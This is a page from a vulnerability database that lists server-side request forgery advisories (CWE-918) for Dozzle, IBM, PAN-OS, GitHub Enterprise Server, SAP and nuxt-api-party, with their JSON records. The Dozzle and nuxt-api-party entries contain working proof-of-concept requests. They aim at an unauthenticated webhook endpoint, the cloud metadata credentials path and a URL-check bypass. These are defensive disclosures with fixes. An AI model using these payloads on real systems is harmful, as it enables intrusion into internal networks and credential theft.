Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4863 vulnerabilities reference this CWE, most recent first.

GHSA-3V9W-6365-9W54

Vulnerability from github – Published: 2026-05-18 16:41 – Updated: 2026-06-08 23:35
VLAI
Summary
Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)
Details

Summary

In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:

  • Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
  • Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.

C. Header injection downstream

curl -X POST -H "Content-Type: application/json" \
  -d '{
    "url":"http://internal-api.example.com:8080/admin/users",
    "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
  }' \
  http://dozzle.example.com/api/notifications/test-webhook

Suggested fix

  1. Refuse test-webhook when Authorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.
  2. SSRF-harden WebhookDispatcher. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.
  3. Stop reflecting response body. UX for "test webhook" only needs Success: bool, StatusCode: int.

Severity

  • CVSS 3.1: High — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.
  • Auth: none in default deploy. With DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.

Reproduction environment

  • Tested against: amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).
  • Code locations:
  • Handler: internal/web/notifications.go:652-716
  • Sink: internal/notification/dispatcher/webhook.go:88-120
  • Auth gate: internal/web/routes.go:130-138, 172-188
  • Default provider: internal/support/cli/args.go:18, main.go:231

Reporter

Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.14.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:41:39Z",
    "nvd_published_at": "2026-05-26T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that:\n\n- Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and\n- Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.\n\nThis is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle\u0027s host can route to \u2014 including private subnets, link-local cloud metadata, and loopback services.\n\n## Affected versions\n\n`internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added).\n\n## Default-deploy reachability chain\n\n```\nmain.go:58-59           \u2192 enforces AuthProvider in {none, forward-proxy, simple}\nsupport/cli/args.go:18  \u2192 AuthProvider default is \"none\"\nmain.go:231-243         \u2192 when AuthProvider == \"none\", web.AuthProvider stays at NONE\ninternal/web/routes.go:130-132, 137-138 \u2192 auth middleware only registered if Provider != NONE\ninternal/web/routes.go:172-188          \u2192 /api/notifications/* (incl. /test-webhook) is inside that conditional Group\n```\n\nSo the default Quickstart deploy\n\n```bash\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest\n```\n\nexposes `POST /api/notifications/test-webhook` to the network without any authentication.\n\n## The vulnerable handler\n\n```go\n// internal/web/notifications.go:652-716\nfunc (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {\n    var input TestWebhookInput\n    if err := json.NewDecoder(r.Body).Decode(\u0026input); err != nil { ... }\n    ...\n    webhook, err := dispatcher.NewWebhookDispatcher(\"test\", input.URL, templateStr, input.Headers)\n    ...\n    result := webhook.SendTest(r.Context(), mockNotification)\n    ...\n    writeJSON(w, http.StatusOK, \u0026TestWebhookResult{\n        Success:    result.Success,\n        StatusCode: statusCode,\n        Error:      errStr,\n    })\n}\n```\n\n`input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere.\n\n## The reflection sink\n\n```go\n// internal/notification/dispatcher/webhook.go:88-120\nreq, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))\n...\nfor k, v := range w.Headers { req.Header.Set(k, v) }\n...\nresp, err := w.client.Do(req)\n...\nif resp.StatusCode \u003c 200 || resp.StatusCode \u003e= 300 {\n    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB\n    responseBody, _ := io.ReadAll(limitedReader)\n    ...\n    return TestResult{\n        Success:    false,\n        StatusCode: resp.StatusCode,\n        Error:      fmt.Sprintf(\"webhook returned status code %d: %s\",\n                                 resp.StatusCode, string(responseBody)),\n    }\n}\n```\n\nWhen the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker.\n\n## PoC\n\n### A. Read intranet admin-panel response bodies (most common path)\n\nMost internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://192.168.1.1/admin/index.html\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nResponse shape (`writeJSON` to the public Internet):\n```json\n{\n  \"Success\": false,\n  \"StatusCode\": 401,\n  \"Error\": \"webhook returned status code 401: \u003chtml\u003e\u003chead\u003e... full intranet HTML body, up to 1MB ...\u003c/html\u003e\"\n}\n```\n\n### B. Cloud IMDS reachability probe\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nIf `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.\n\n### C. Header injection downstream\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"url\":\"http://internal-api.example.com:8080/admin/users\",\n    \"headers\":{\"X-Forwarded-User\":\"admin\",\"X-Real-IP\":\"127.0.0.1\"}\n  }\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\n## Suggested fix\n\n1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.\n2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.\n3. **Stop reflecting response body.** UX for \"test webhook\" only needs `Success: bool, StatusCode: int`.\n\n## Severity\n\n- **CVSS 3.1:** High \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` \u2248 7.5 in default no-auth deploy.\n- **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth.\n\n## Reproduction environment\n\n- Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`).\n- Code locations:\n  - Handler: `internal/web/notifications.go:652-716`\n  - Sink: `internal/notification/dispatcher/webhook.go:88-120`\n  - Auth gate: `internal/web/routes.go:130-138, 172-188`\n  - Default provider: `internal/support/cli/args.go:18`, `main.go:231`\n\n## Reporter\n\nEddie Ran. Filed via reporter API per dozzle\u0027s `SECURITY.md`.",
  "id": "GHSA-3v9w-6365-9w54",
  "modified": "2026-06-08T23:35:22Z",
  "published": "2026-05-18T16:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45298"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)"
}

GHSA-3VHJ-M86H-3WMF

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

IBM Jazz Reporting Service 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198834.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-13T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Jazz Reporting Service 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198834.",
  "id": "GHSA-3vhj-m86h-3wmf",
  "modified": "2022-05-24T19:02:21Z",
  "published": "2022-05-24T19:02:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20535"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/198834"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6452323"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3VMP-6PGH-4Q54

Vulnerability from github – Published: 2026-07-09 21:31 – Updated: 2026-07-13 12:34
VLAI
Details

A server-side request forgery (SSRF) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with network access to the management web interface to make unauthorized requests from the firewall to internal services.

The security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . 

Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
4.7 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/AU:N/R:U/V:D/RE:M/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T19:17:01Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with network access to the management web interface to make unauthorized requests from the firewall to internal services.\n\n\n\nThe security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended\u00a0 best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\u00a0\n\nPanorama, Cloud NGFW, and Prisma\u00ae Access are not impacted by this vulnerability.",
  "id": "GHSA-3vmp-6pgh-4q54",
  "modified": "2026-07-13T12:34:57Z",
  "published": "2026-07-09T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0285"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2026-0285"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3VX2-VQX8-JXFG

Vulnerability from github – Published: 2026-06-11 21:31 – Updated: 2026-06-11 21:31
VLAI
Details

Summarize before 0.17.0 contains a server-side request forgery vulnerability that allows attackers who control a podcast RSS feed to direct the host to fetch transcript content from loopback addresses, link-local addresses, RFC 1918 private ranges, or other reserved destinations by supplying malicious podcast:transcript URL values. Attackers can bypass protections through DNS rebinding and redirect-based techniques, as redirect targets are not revalidated and hostnames are not resolved before request dispatch, exposing internal service responses through the summarization flow.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-53782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-11T20:16:25Z",
    "severity": "MODERATE"
  },
  "details": "Summarize before 0.17.0 contains a server-side request forgery vulnerability that allows attackers who control a podcast RSS feed to direct the host to fetch transcript content from loopback addresses, link-local addresses, RFC 1918 private ranges, or other reserved destinations by supplying malicious podcast:transcript URL values. Attackers can bypass protections through DNS rebinding and redirect-based techniques, as redirect targets are not revalidated and hostnames are not resolved before request dispatch, exposing internal service responses through the summarization flow.",
  "id": "GHSA-3vx2-vqx8-jxfg",
  "modified": "2026-06-11T21:31:57Z",
  "published": "2026-06-11T21:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steipete/summarize/pull/239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steipete/summarize/commit/3c5522440c4833dde033e226baa39e6dda1dfc75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steipete/summarize/releases/tag/v0.17.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/summarize-ssrf-via-podcast-transcript-url-fetch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3W49-FQ5G-G3Q6

Vulnerability from github – Published: 2026-05-27 00:31 – Updated: 2026-06-01 21:30
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
7.0 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T00:16:37Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-3w49-fq5g-g3q6",
  "modified": "2026-06-01T21:30:35Z",
  "published": "2026-05-27T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8606"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.19"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.16"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.3"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WCW-M33P-8R99

Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2025-04-20 03:49
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in SAP NetWeaver Knowledge Management Configuration Service, EPBC and EPBC2 from 7.00 to 7.02; KMC-BC 7.30, 7.31, 7.40 and 7.50, that allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application.

Severity
4.7 (Medium)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-16678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-12T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in SAP NetWeaver Knowledge Management Configuration Service, EPBC and EPBC2 from 7.00 to 7.02; KMC-BC 7.30, 7.31, 7.40 and 7.50, that allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application.",
  "id": "GHSA-3wcw-m33p-8r99",
  "modified": "2025-04-20T03:49:48Z",
  "published": "2022-05-14T04:01:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16678"
    },
    {
      "type": "WEB",
      "url": "https://blogs.sap.com/2017/12/12/sap-security-patch-day-december-2017"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2457562"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WFP-253J-5JXV

Vulnerability from github – Published: 2023-12-12 00:49 – Updated: 2023-12-12 00:49
VLAI
Summary
SSRF & Credentials Leak
Details

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.

This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.

Details

nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.

This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.

According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)

This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.

This could allow us to leak credentials or perform SSRF.

PoC

POC using Node.

await fetch("/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.

await fetch("/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

Impact

Leak of sensitive API credentials. SSRF.

Fix

Revert to the previous method of detecting absolute URLs.

  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
      // ...
  }
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-api-party"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-12T00:49:44Z",
    "nvd_published_at": "2023-12-09T00:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n  if (new URL(path, \u0027http://localhost\u0027).origin !== \u0027http://localhost\u0027) {\n      // ...\n  }\n```\n",
  "id": "GHSA-3wfp-253j-5jxv",
  "modified": "2023-12-12T00:49:44Z",
  "published": "2023-12-12T00:49:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org/#http-whitespace-byte"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johannschopplich/nuxt-api-party"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
    },
    {
      "type": "WEB",
      "url": "https://infra.spec.whatwg.org/#byte-sequence"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
